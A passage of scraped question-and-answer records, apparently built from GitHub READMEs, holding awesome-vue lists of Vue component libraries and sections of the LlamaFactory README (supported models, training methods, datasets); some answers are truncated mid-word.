Customizable Themes, Uses TypeScript, Not Too Slow Kinda Interesting\n- [Element Plus](https://github.com/element-plus/element-plus) - A Vue 3 UI Framework.\n- [AgnosticUI](https://www.agnosticui.com/) - Accessible Vue 3 Component Primitives that also work with React, Svelte, and Angular!\n- [Vexip UI](https://github.com/qmhc/vexip-ui) - A Vue 3 UI Library, Highly customizable property values, Full TypeScript, Performance should be good.\n- [Anu](https://github.com/jd-solanki/anu) - Build better interfaces faster. DX focused utility based vue component library ⚛️\n- [Vue USWDS](https://github.com/patrickcate/vue-uswds) - A Vue.js implementation of the USWDS (U.S. Web Design System)\n- [Vuetensils](https://vuetensils.com) - A 'naked' component library for building accessible, lightweight, bespoke applications.\n- [Vuersatile Components](https://www.andres-brugarolas.com/vuersatile-components/) - A Vue 3 component library, with form self-validation and an SCSS framework integrated.\n- [Prefect Design](https://prefect-design.netlify.app/) - Component library using Vue 3, Typescript & Tailwind.\n- [Stellar UI](https://github.com/ManukMinasyan/stellar-ui) - Fully styled and customizable components for Vue 3.\n- [Shadcn UI](https://github.com/radix-vue/shadcn-vue) - An unofficial, community-led Vue port of [shadcn/ui](https://github.com/shadcn-ui/ui) (re-usable components built with [Radix Vue](https://github.com/radix-vue/radix-vue) and [Tailwind CSS](https://github.com/tailwindlabs/tailwindcss)).\n- [Inspira UI](https://inspira-ui.com/) - Open Source components to build stunning animated int", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727283"}
{"id": "gh_5842fff1fb90", "question": "How to: UI Components", "question_body": "About vuejs/awesome-vue", "answer": "#### Table\n\n_Tables / data grids_\n\n- [ag-grid-vue](https://github.com/ag-grid/ag-grid) - Vue adaptor for ag-Grid.\n- [vue-data-tables](https://github.com/njleonzhang/vue-data-tables) - Vue2.0 DataTables, based on element-ui.\n- [vue-grid](https://github.com/dzwillia/vue-grid) - A flexible grid component for Vue.js\n- [vue-easytable](https://github.com/huangshuwei/vue-easytable) - A powerful table components based on Vue2.x\n- [vue-crud-x](https://github.com/ais-one/cookbook) - Extensible crud component using Vuetify layout, other than the usual page, sort, filter, it is able to do nested CRUD, custom forms, filters, operations.\n- [Vue Datatable](https://github.com/laravel-enso/vuedatatable) - VueJS powered Datatable with Laravel server-side loading and JSON template setup\n- [vue-cheetah-grid](https://github.com/future-architect/cheetah-grid) - A high-performance grid engine that work on a canvas for Vue.js.\n- [vue-table-component](http://vue-table-component.spatie.be/) - A straight to the point Vue component to display tables.\n- [@lossendae/vue-table](https://lossendae.github.io/vue-table) - Simple table component for Vue.js 2.x with pagination and sortable columns.\n- [@marketconnect/vue-pivot-table](https://github.com/MarketConnect/vue-pivot-table) - A vue component for pivot table\n- [vueye-datatable](https://github.com/boussadjra/vueye-table) - Vueye data table is a responsive data table component based on Vue.js 2, it organizes your data per pages in order to navigate easily.\n- [fancy-grid-vue](https://github.com/FancyGrid/FancyGrid) - Vue adaptor for FancyGrid.\n- [vue-quintable](https://github.com/Quintetio/vue-quintable) - A responsive and highly configurable table based on Vue 2.x and Bootstrap 4.x\n- [vue-datagrid](https://github.com/revolist/vue-datagrid) - Vue grid wrapper for powerful webcomponent revo-grid with excel like rich edit and behavior.\n- [vue-dataset](https://github.com/kouts/vue-dataset) - A set of Vue.js components to display datasets with filtering, paging, and sorting capabilities!\n- [jz-gantt](https://github.com/jeremyjone/jz-gantt) - A high-performance Vue gantt component, which includes highly customizable table columns, dynamic update data, freely drag the progress bar, switch header, etc.\n- [vue3-easy-data-table](https://github.com/HC200ok/vue3-easy-data-table) - A easy-to-use data table component made with Vue.js 3.x, referring to the API and UI of data table component in Vuetify 2.\n- [tanstack-table](https://github.com/tanstack/table) - Headless UI for building powerful tables & datagrids.\n- [vuetify-drilldown-table](https://github.com/webdevnerdstuff/vuetify-drilldown-table) - The Vuetify Drilldown Table is a powerful component that enhances the functionality of the Vuetify framework's v-data-table and v-data-table-server. It provides a recursive table structure, allowing you to display hierarchical data in a nested format.\n- [vxe-table](https://github.com/x-extends/vxe-table) - Vue form/table solution.\n- [hy-vue-gantt](https://github.com/Xeyos88/HyVueGantt) - A powerful and flexible Gantt chart component for Vue 3 applications.\n- [Vue Pivottable](https://github.com/Seungwoo321/vue-pivottable) – A Vue 2 port of the jQuery-based PivotTable.js.\n- [Vue3 Pivottable](https://github.com/vue-pivottable/vue3-pivottable) – A Vue 3 port of the jQuery-based PivotTable.js.\n- [GridSheet](https://github.com/walkframe/gridsheet) - Highly customizable spreadsheet engine with formula support, multi-sheet references, and a Vue3 wrapper built on a Preact core.\n\n#### Notification\n\n_Toaster / snackbar — Notify the user with a modeless temporary little popup_\n\n- [vue-easy-toast](https://github.com/noru/vue-easy-toast) - A toast plugin for vue/vue2.\n- [vue-toast-notification](https://github.com/ankurk91/vue-toast-notification) - Yet another Vue.js Toast notification plugin.\n- [VueToastify](https://github.com/nandi95/vue-toastify) - A fuss free notification component.\n- [@kyvg/vue3-notification](https://github.com/kyvg/vue3-notification) - Vue 3 notification library\n- [vue-global-alert-utility](https://github.com/RashadSaleh/vue-global-alert-utility) - A Vue.js global alert utility to replace vanilla JavaScript `alert` function with better user and developer experience, while keeping it as simple as possible.\n- [notivue](https://github.com/smastrom/notivue) - Fully-featured notification system for Vue 3 and Nuxt 3.\n- [Toastflow](https://github.com/adrianjanocko/toastflow) - 💡 Headless toast (notification) engine + Vue 3 renderer (TS-first, CSS-first theming, highly customizable).\n\n#### Loader\n\n_Loaders / spinners / progress bars — Let the user know that something is loading_\n\n- [epic-spinners](https://github.com/epicmaxco/epic-spinners) - Easy to use css spinners collection with vue.js integration.\n- [vue-loading-overlay](https://github.com/ankurk91/vue-loading-overlay) - Tiny full screen loading indicator\n- [vue-ellipse-progress](https://github.com/setaman/vue-ellipse-progress) - A flexible Vue.js comp", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727413"}
{"id": "gh_b092112aa3fd", "question": "How to: UI Utilities", "question_body": "About vuejs/awesome-vue", "answer": "#### Event Handling\n\n_Handling of user events (scroll, click, key strike, ...)_\n\n- [vue-global-events](https://github.com/shentao/vue-global-events/) – A component to handle global events (like shortcuts) using Vue’s event modifiers\n- [vue-tabevents](https://github.com/Almoullim/vue-tabevents) – Easy communication between other opened tabs\n- [vue-exit-intent](https://github.com/nickap/vue-exit-intent) - ✨ Vue Composable to handle user's Exit Intent.\n\n#### Responsive Design\n\n- [vue-responsive](https://github.com/reinerBa/Vue-Responsive): Vue.js(2.x) directive to hide/show HTML-elements with the Bootstrap 4, 3 or self defined breakpoints.\n\n#### Form\n\n- [Form Builder](https://github.com/laravel-enso/formbuilder) - Json template based form builder, based on Vue and Laravel.\n- [vue-autofocus-directive](https://github.com/Botre/vue-autofocus-directive) - Vue autofocus directive.\n- [FormKit](https://github.com/formkit/formkit) - Vue 3 form development. 10x faster. Form inputs, validation, submission, error handling, generation, accessibility, theming, and more.\n- [vrf](https://github.com/dimailn/vrf) - Declarative scalable ui-agnostic markup-based Vue forms.\n- [tracked-instance](https://github.com/rudnik275/tracked-instance) - Build large forms and track all changes.\n- [Vorm](https://github.com/Flo0806/vorm) - A dynamic, schema-driven and fully validated form engine for Vue 3 with zero dependencies and full slot control.\n- [VueFormify](https://github.com/mateenagy/vue-formify) - Build powerful, type-safe forms in Vue 3.\n- [Enforma](https://encolajs.com/enforma/) - UI agnostic, schema-ready form library for Vue 3. 30+ built-in validation rules. UI presets for Vuetify, PrimeVue and Quasar\n- [piying-view](https://github.com/piying-org/piying-view) - Frontend Form Solution; strongly typed; Vue 3\n\n##### Validation\n\n- [vee-validate](https://github.com/logaretm/vee-validate) - Simple Vue.js input validation plugin.\n- [vuelidate](https://github.com/monterail/vuelidate) - Simple, lightweight model-based validation for Vue.js.\n- [FormVuelar](https://github.com/janiskelemen/formvuelar) - Vue form components with server-side validation in mind\n- [vue-final-validate](https://phphe.github.io/vue-final-validate/) - Vue validation solution from my development experience, support nested, async.\n- [@vuito/vue](https://github.com/mathix420/vuito) - Simple, lightweight, isomorphic, and template-based validation library.\n- [vue-tiny-validate](https://github.com/FrontLabsOfficial/vue-tiny-validate) - Tiny (2.5KB minified) Vue Validate Composition.\n- [vest](https://github.com/ealush/vest) - 🦺 Declarative form validation framework inspired by unit testing.\n- [vorms](https://github.com/Mini-ghost/vorms) - Vue Form Validate with Composition API.\n- [regle](https://github.com/victorgarciaesgi/regle) - ✅ Headless form validation library for Vue.js.\n- [validation-composable](https://github.com/nexxtmove/validation-composable) - ✅ Lightweight validation for Vue — just 40 lines of code.\n- [vue-uform](https://github.com/tu6ge/vue-uform) - an component-first, unstyled, flexible form validation library for Vue 3\n\n#### Resize\n\n- [vue-not-visible](https://github.com/PxyUp/vue-not-visible) - Vue directive for removing from dom (like v-if) element on screen smaller than breakpoints.\n\n#### Scroll\n\n_Virtual scrollbar_\n\n- [vuescroll](https://github.com/YvesCoding/vuescroll) - A scrolling plugin based on Vue.js for uniforming the scrolling in PC and mobile.\n\n_Detect when components enter viewport_\n\n- [vue-use-active-scroll](https://github.com/smastrom/vue-use-active-scroll) - Highlight Vue 3 menu/sidebar links without compromises.\n\n#### Routing\n\n- [vue-router](https://github.com/vuejs/vue-router) - The official router for Vue.js.\n- [v-route-generate](https://github.com/weiquanju/v-route-generate) - A tool to generate routes for vue-router 4.x.\n- [kitbag/router](https://github.com/kitbagjs/router) - A type safe router for vuejs\n- [unplugin-vue-router](https://github.com/posva/unplugin-vue-router) - Next Generation file based typed routing for Vue Router.\n\n#### Lazy Load\n\n- [vue-lazy](https://github.com/bartdominiak/vue-lazy) - Lightweight Image/Picture lazyload based on Intersection API\n- [vue3-lazyload](https://github.com/jambonn/vue-lazyload) - Vue module for lazy-loading images in your vue 3 applications.\n\n#### Pagination\n\n- [laravel-vue-semantic-ui-pagination](https://github.com/vinayakkulkarni/laravel-vue-semantic-ui-pagination) - A Vue.js 2.x pagination used with Laravel & Semantic-UI.\n- [vue-paginate-al](https://github.com/alziqziq/vue-paginate-al) - Vue paginate with return your data.\n- [vue-tiny-pagination](https://github.com/coderdiaz/vue-tiny-pagination) - A Vue component for create a tiny pagination.\n- [laravel-vue-pagination](https://github.com/gilbitron/laravel-vue-pagination) - A Vue.js pagination component for Laravel paginators that works with Bootstrap.\n- [vue-lpage](https://github.com/Botre/vue-lpage) - Low-level Vue pagination component.", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727454"}
{"id": "gh_96199cf9a991", "question": "How to: Integrations", "question_body": "About vuejs/awesome-vue", "answer": "_Integrate with services or other frameworks_\n\n- [vue-recaptcha](https://github.com/DanSnow/vue-recaptcha) - Google reCAPTCHA component for Vue.js\n- [vuefire](https://github.com/nigeltiany/vuefire) - Firebase for VueJS and Vuex\n- [vue-postgrest](https://github.com/technowledgy/vue-postgrest) - Vue.js integration for postgREST: flexible, powerful and easy to use.\n- [vue-tweet](https://github.com/DannyFeliz/vue-tweet) - Vue 3 component that let you embed tweets in your App by only giving the tweet id\n- [vue-tg](https://github.com/deptyped/vue-telegram) - Telegram Web Apps integration for Vue 3.\n\n#### Vue CLI Plugins\n\n- [vue-cli-plugin-chrome-extension-cli](https://github.com/sanyu1225/vue-cli-plugin-chrome-extension-cli) - Vue CLI Plugin generate chrome extension template\n\n##### Google Analytics\n\n- [vue-gtag](https://github.com/MatteoGabriele/vue-gtag) - Global Site Tag plugin for Vue", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727477"}
{"id": "gh_f2d423ae28a2", "question": "How to: Prerendering", "question_body": "About vuejs/awesome-vue", "answer": "- [vue-genesis](https://github.com/fmfe/genesis) - 🔥Micro front end, micro service and lightweight solution based on Vue SSR🔥\n[![CC0](https://i.creativecommons.org/p/zero/1.0/88x31.png)](https://creativecommons.org/publicdomain/zero/1.0/)", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727497"}
{"id": "gh_fa8c43a4f85d", "question": "How to: Supporters ❤️", "question_body": "About hiyouga/LlamaFactory", "answer": "|\nWarp, the agentic terminal for developers\nAvailable for MacOS, Linux, & Windows\n|\n|\n| ---- | ---- |\n\n----", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 65892, "answer_score": 10, "has_code": false, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766659"}
{"id": "gh_69133f0ebbbe", "question": "How to: Easily fine-tune 100+ large language models with zero-code [CLI](#quickstart) and [Web UI](#fine-tuning-with-llama-board-gui-powered-by-gradio)", "question_body": "About hiyouga/LlamaFactory", "answer": "![GitHub Trend](https://trendshift.io/api/badge/repositories/4535)\n\n👋 Join our [WeChat](https://github.com/hiyouga/llamafactory-community/blob/main/wechat/main.jpg), [NPU](https://github.com/hiyouga/llamafactory-community/blob/main/wechat/npu.jpg), [Lab4AI](https://github.com/hiyouga/llamafactory-community/blob/main/wechat/lab4ai.jpg), [LLaMA Factory Online](https://github.com/hiyouga/llamafactory-community/blob/main/wechat/online.jpg) user group.\n\n\\[ English | [中文](README_zh.md) \\]\n\n**Fine-tuning a large language model can be easy as...**\n\nhttps://github.com/user-attachments/assets/3991a3a8-4276-4d30-9cab-4cb0c4b9b99e\n\nStart local training:\n- Please refer to [usage](#getting-started)\n\nStart cloud training:\n- **Colab (free)**: https://colab.research.google.com/drive/1eRTPn37ltBbYsISy9Aw2NuI2Aq5CQrD9?usp=sharing\n- **PAI-DSW (free trial)**: https://gallery.pai-ml.com/#/preview/deepLearning/nlp/llama_factory\n- **LLaMA Factory Online**: https://www.llamafactory.com.cn/?utm_source=LLaMA-Factory\n- **Alaya NeW (cloud GPU deal)**: https://docs.alayanew.com/docs/documents/useGuide/LLaMAFactory/mutiple/?utm_source=LLaMA-Factory\n\nRead technical notes:\n- **Documentation (WIP)**: https://llamafactory.readthedocs.io/en/latest/\n- **Documentation (AMD GPU)**: https://rocm.docs.amd.com/projects/ai-developer-hub/en/latest/notebooks/fine_tune/llama_factory_llama3.html\n- **Official Blog**: https://blog.llamafactory.net/en/\n- **Official Course**: https://www.lab4ai.cn/course/detail?id=7c13e60f6137474eb40f6fd3983c0f46&utm_source=LLaMA-Factory\n\n> [!NOTE]\n> Except for the above links, all other websites are unauthorized third-party websites. Please carefully use them.", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 65892, "answer_score": 10, "has_code": false, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766685"}
{"id": "gh_5953e98a0d88", "question": "How to: Table of Contents", "question_body": "About hiyouga/LlamaFactory", "answer": "- [Features](#features)\n- [Blogs](#blogs)\n- [Changelog](#changelog)\n- [Supported Models](#supported-models)\n- [Supported Training Approaches](#supported-training-approaches)\n- [Provided Datasets](#provided-datasets)\n- [Requirement](#requirement)\n- [Getting Started](#getting-started)\n  - [Installation](#installation)\n  - [Data Preparation](#data-preparation)\n  - [Quickstart](#quickstart)\n  - [Fine-Tuning with LLaMA Board GUI](#fine-tuning-with-llama-board-gui-powered-by-gradio)\n  - [LLaMA Factory Online](#llama-factory-online)\n  - [Build Docker](#build-docker)\n  - [Deploy with OpenAI-style API and vLLM](#deploy-with-openai-style-api-and-vllm)\n  - [Download from ModelScope Hub](#download-from-modelscope-hub)\n  - [Download from Modelers Hub](#download-from-modelers-hub)\n  - [Use W&B Logger](#use-wb-logger)\n  - [Use SwanLab Logger](#use-swanlab-logger)\n- [Projects using LLaMA Factory](#projects-using-llama-factory)\n- [License](#license)\n- [Citation](#citation)\n- [Acknowledgement](#acknowledgement)", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 65892, "answer_score": 10, "has_code": false, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766695"}
{"id": "gh_07dc8f3a107b", "question": "How to: Day-N Support for Fine-Tuning Cutting-Edge Models", "question_body": "About hiyouga/LlamaFactory", "answer": "| Support Date | Model Name                                                           |\n| ------------ | -------------------------------------------------------------------- |\n| Day 0        | Qwen3 / Qwen2.5-VL / Gemma 3 / GLM-4.1V / InternLM 3 / MiniCPM-o-2.6 |\n| Day 1        | Llama 3 / GLM-4 / Mistral Small / PaliGemma2 / Llama 4               |", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766701"}
{"id": "gh_0fcaad16e853", "question": "How to: Supported Models", "question_body": "About hiyouga/LlamaFactory", "answer": "| Model                                                             | Model size                       | Template             |\n| ----------------------------------------------------------------- | -------------------------------- | -------------------- |\n| [BLOOM/BLOOMZ](https://huggingface.co/bigscience)                 | 560M/1.1B/1.7B/3B/7.1B/176B      | -                    |\n| [DeepSeek (LLM/Code/MoE)](https://huggingface.co/deepseek-ai)     | 7B/16B/67B/236B                  | deepseek             |\n| [DeepSeek 3-3.2](https://huggingface.co/deepseek-ai)              | 236B/671B                        | deepseek3            |\n| [DeepSeek R1 (Distill)](https://huggingface.co/deepseek-ai)       | 1.5B/7B/8B/14B/32B/70B/671B      | deepseekr1           |\n| [ERNIE-4.5](https://huggingface.co/baidu)                         | 0.3B/21B/300B                    | ernie_nothink        |\n| [Falcon/Falcon H1](https://huggingface.co/tiiuae)                 | 0.5B/1.5B/3B/7B/11B/34B/40B/180B | falcon/falcon_h1     |\n| [Gemma/Gemma 2/CodeGemma](https://huggingface.co/google)          | 2B/7B/9B/27B                     | gemma/gemma2         |\n| [Gemma 3/Gemma 3n](https://huggingface.co/google)                 | 270M/1B/4B/6B/8B/12B/27B         | gemma3/gemma3n       |\n| [GLM-4/GLM-4-0414/GLM-Z1](https://huggingface.co/zai-org)         | 9B/32B                           | glm4/glmz1           |\n| [GLM-4.5/GLM-4.5(6)V](https://huggingface.co/zai-org)             | 9B/106B/355B                     | glm4_moe/glm4_5v     |\n| [GPT-2](https://huggingface.co/openai-community)                  | 0.1B/0.4B/0.8B/1.5B              | -                    |\n| [GPT-OSS](https://huggingface.co/openai)                          | 20B/120B                         | gpt_oss              |\n| [Granite 3-4](https://huggingface.co/ibm-granite)                 | 1B/2B/3B/7B/8B                   | granite3/granite4    |\n| [Hunyuan/Hunyuan1.5 (MT)](https://huggingface.co/tencent/)        | 0.5B/1.8B/4B/7B/13B              | hunyuan/hunyuan_small |\n| [InternLM 2-3](https://huggingface.co/internlm)                   | 7B/8B/20B                        | intern2              |\n| [InternVL 2.5-3.5](https://huggingface.co/OpenGVLab)              | 1B/2B/4B/8B/14B/30B/38B/78B/241B | intern_vl            |\n| [Intern-S1-mini](https://huggingface.co/internlm/)                | 8B                               | intern_s1            |\n| [Kimi-VL](https://huggingface.co/moonshotai)                      | 16B                              | kimi_vl              |\n| [Ling 2.0 (mini/flash)](https://huggingface.co/inclusionAI)       | 16B/100B                         | bailing_v2           |\n| [LFM 2.5 (VL)](https://huggingface.co/LiquidAI)                   | 1.2B/1.6B                        | lfm2/lfm2_vl         |\n| [Llama](https://github.com/facebookresearch/llama)                | 7B/13B/33B/65B                   | -                    |\n| [Llama 2](https://huggingface.co/meta-llama)                      | 7B/13B/70B                       | llama2               |\n| [Llama 3-3.3](https://huggingface.co/meta-llama)                  | 1B/3B/8B/70B                     | llama3               |\n| [Llama 4](https://huggingface.co/meta-llama)                      | 109B/402B                        | llama4               |\n| [Llama 3.2 Vision](https://huggingface.co/meta-llama)             | 11B/90B                          | mllama               |\n| [LLaVA-1.5](https://huggingface.co/llava-hf)                      | 7B/13B                           | llava                |\n| [LLaVA-NeXT](https://huggingface.co/llava-hf)                     | 7B/8B/13B/34B/72B/110B           | llava_next           |\n| [LLaVA-NeXT-Video](https://huggingface.co/llava-hf)               | 7B/34B                           | llava_next_video     |\n| [MiMo](https://huggingface.co/XiaomiMiMo)                         | 7B/309B                          | mimo/mimo_v2         |\n| [MiniCPM 4](https://huggingface.co/openbmb)                       | 0.5B/8B                          | cpm4                 |\n| [MiniCPM-o-2.6/MiniCPM-V-2.6](https://huggingface.co/openbmb)     | 8B                               | minicpm_o/minicpm_v  |\n| [MiniMax-M1/MiniMax-M2](https://huggingface.co/MiniMaxAI/models)  | 229B/456B                        | minimax1/minimax2    |\n| [Ministral 3](https://huggingface.co/mistralai)                   | 3B/8B/14B                        | ministral3           |\n| [Mistral/Mixtral](https://huggingface.co/mistralai)               | 7B/8x7B/8x22B                    | mistral              |\n| [PaliGemma/PaliGemma2](https://huggingface.co/google)             | 3B/10B/28B                       | paligemma            |\n| [Phi-3/Phi-3.5](https://huggingface.co/microsoft)                 | 4B/14B                           | phi                  |\n| [Phi-3-small](https://huggingface.co/microsoft)                   | 7B                               | phi_small            |\n| [Phi-", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766746"}
{"id": "gh_f0873e327da0", "question": "How to: Supported Training Approaches", "question_body": "About hiyouga/LlamaFactory", "answer": "| Approach               |     Full-tuning    |    Freeze-tuning   |       LoRA         |       QLoRA        |        OFT         |        QOFT        |\n| ---------------------- | ------------------ | ------------------ | ------------------ | ------------------ | ------------------ | ------------------ |\n| Pre-Training           | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: |\n| Supervised Fine-Tuning | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: |\n| Reward Modeling        | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: |\n| PPO Training           | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: |\n| DPO Training           | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: |\n| KTO Training           | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: |\n| ORPO Training          | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: |\n| SimPO Training         | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: | :white_check_mark: |\n\n> [!TIP]\n> The implementation details of PPO can be found in [this blog](https://newfacade.github.io/notes-on-reinforcement-learning/17-ppo-trl.html).", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766755"}
{"id": "gh_25b1c09c0016", "question": "How to: Provided Datasets", "question_body": "About hiyouga/LlamaFactory", "answer": "Pre-training datasets\n- [Wiki Demo (en)](data/wiki_demo.txt)\n- [RefinedWeb (en)](https://huggingface.co/datasets/tiiuae/falcon-refinedweb)\n- [RedPajama V2 (en)](https://huggingface.co/datasets/togethercomputer/RedPajama-Data-V2)\n- [Wikipedia (en)](https://huggingface.co/datasets/olm/olm-wikipedia-20221220)\n- [Wikipedia (zh)](https://huggingface.co/datasets/pleisto/wikipedia-cn-20230720-filtered)\n- [Pile (en)](https://huggingface.co/datasets/EleutherAI/pile)\n- [SkyPile (zh)](https://huggingface.co/datasets/Skywork/SkyPile-150B)\n- [FineWeb (en)](https://huggingface.co/datasets/HuggingFaceFW/fineweb)\n- [FineWeb-Edu (en)](https://huggingface.co/datasets/HuggingFaceFW/fineweb-edu)\n- [CCI3-HQ (zh)](https://huggingface.co/datasets/BAAI/CCI3-HQ)\n- [CCI3-Data (zh)](https://huggingface.co/datasets/BAAI/CCI3-Data)\n- [CCI4.0-M2-Base-v1 (en&zh)](https://huggingface.co/datasets/BAAI/CCI4.0-M2-Base-v1)\n- [CCI4.0-M2-CoT-v1 (en&zh)](https://huggingface.co/datasets/BAAI/CCI4.0-M2-CoT-v1)\n- [CCI4.0-M2-Extra-v1 (en&zh)](https://huggingface.co/datasets/BAAI/CCI4.0-M2-Extra-v1)\n- [The Stack (en)](https://huggingface.co/datasets/bigcode/the-stack)\n- [StarCoder (en)](https://huggingface.co/datasets/bigcode/starcoderdata)\nSupervised fine-tuning datasets\n- [Identity (en&zh)](data/identity.json)\n- [Stanford Alpaca (en)](https://github.com/tatsu-lab/stanford_alpaca)\n- [Stanford Alpaca (zh)](https://github.com/ymcui/Chinese-LLaMA-Alpaca-3)\n- [Alpaca GPT4 (en&zh)](https://github.com/Instruction-Tuning-with-GPT-4/GPT-4-LLM)\n- [Glaive Function Calling V2 (en&zh)](https://huggingface.co/datasets/glaiveai/glaive-function-calling-v2)\n- [LIMA (en)](https://huggingface.co/datasets/GAIR/lima)\n- [Guanaco Dataset (multilingual)](https://huggingface.co/datasets/JosephusCheung/GuanacoDataset)\n- [BELLE 2M (zh)](https://huggingface.co/datasets/BelleGroup/train_2M_CN)\n- [BELLE 1M (zh)](https://huggingface.co/datasets/BelleGroup/train_1M_CN)\n- [BELLE 0.5M (zh)](https://huggingface.co/datasets/BelleGroup/train_0.5M_CN)\n- [BELLE Dialogue 0.4M (zh)](https://huggingface.co/datasets/BelleGroup/generated_chat_0.4M)\n- [BELLE School Math 0.25M (zh)](https://huggingface.co/datasets/BelleGroup/school_math_0.25M)\n- [BELLE Multiturn Chat 0.8M (zh)](https://huggingface.co/datasets/BelleGroup/multiturn_chat_0.8M)\n- [UltraChat (en)](https://github.com/thunlp/UltraChat)\n- [OpenPlatypus (en)](https://huggingface.co/datasets/garage-bAInd/Open-Platypus)\n- [CodeAlpaca 20k (en)](https://huggingface.co/datasets/sahil2801/CodeAlpaca-20k)\n- [Alpaca CoT (multilingual)](https://huggingface.co/datasets/QingyiSi/Alpaca-CoT)\n- [OpenOrca (en)](https://huggingface.co/datasets/Open-Orca/OpenOrca)\n- [SlimOrca (en)](https://huggingface.co/datasets/Open-Orca/SlimOrca)\n- [MathInstruct (en)](https://huggingface.co/datasets/TIGER-Lab/MathInstruct)\n- [Firefly 1.1M (zh)](https://huggingface.co/datasets/YeungNLP/firefly-train-1.1M)\n- [Wiki QA (en)](https://huggingface.co/datasets/wiki_qa)\n- [Web QA (zh)](https://huggingface.co/datasets/suolyer/webqa)\n- [WebNovel (zh)](https://huggingface.co/datasets/zxbsmk/webnovel_cn)\n- [Nectar (en)](https://huggingface.co/datasets/berkeley-nest/Nectar)\n- [deepctrl (en&zh)](https://www.modelscope.cn/datasets/deepctrl/deepctrl-sft-data)\n- [Advertise Generating (zh)](https://huggingface.co/datasets/HasturOfficial/adgen)\n- [ShareGPT Hyperfiltered (en)](https://huggingface.co/datasets/totally-not-an-llm/sharegpt-hyperfiltered-3k)\n- [ShareGPT4 (en&zh)](https://huggingface.co/datasets/shibing624/sharegpt_gpt4)\n- [UltraChat 200k (en)](https://huggingface.co/datasets/HuggingFaceH4/ultrachat_200k)\n- [Infinity Instruct (zh)](https://huggingface.co/datasets/BAAI/Infinity-Instruct)\n- [AgentInstruct (en)](https://huggingface.co/datasets/THUDM/AgentInstruct)\n- [LMSYS Chat 1M (en)](https://huggingface.co/datasets/lmsys/lmsys-chat-1m)\n- [Evol Instruct V2 (en)](https://huggingface.co/datasets/WizardLM/WizardLM_evol_instruct_V2_196k)\n- [Cosmopedia (en)](https://huggingface.co/datasets/HuggingFaceTB/cosmopedia)\n- [STEM (zh)](https://huggingface.co/datasets/hfl/stem_zh_instruction)\n- [Ruozhiba (zh)](https://huggingface.co/datasets/hfl/ruozhiba_gpt4_turbo)\n- [Neo-sft (zh)](https://huggingface.co/datasets/m-a-p/neo_sft_phase2)\n- [Magpie-Pro-300K-Filtered (en)](https://huggingface.co/datasets/Magpie-Align/Magpie-Pro-300K-Filtered)\n- [Magpie-ultra-v0.1 (en)](https://huggingface.co/datasets/argilla/magpie-ultra-v0.1)\n- [WebInstructSub (en)](https://huggingface.co/datasets/TIGER-Lab/WebInstructSub)\n- [OpenO1-SFT (en&zh)](https://huggingface.co/datasets/O1-OPEN/OpenO1-SFT)\n- [Open-Thoughts (en)](https://huggingface.co/datasets/open-thoughts/OpenThoughts-114k)\n- [Open-R1-Math (en)](https://huggingface.co/datasets/open-r1/OpenR1-Math-220k)\n- [Chinese-DeepSeek-R1-Distill (zh)](https://huggingface.co/datasets/Congliu/Chinese-DeepSeek-R1-Distill-data-110k-SFT)\n- [LLaVA mixed (en&zh)](https://huggingface.co/datasets/BUAA", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": 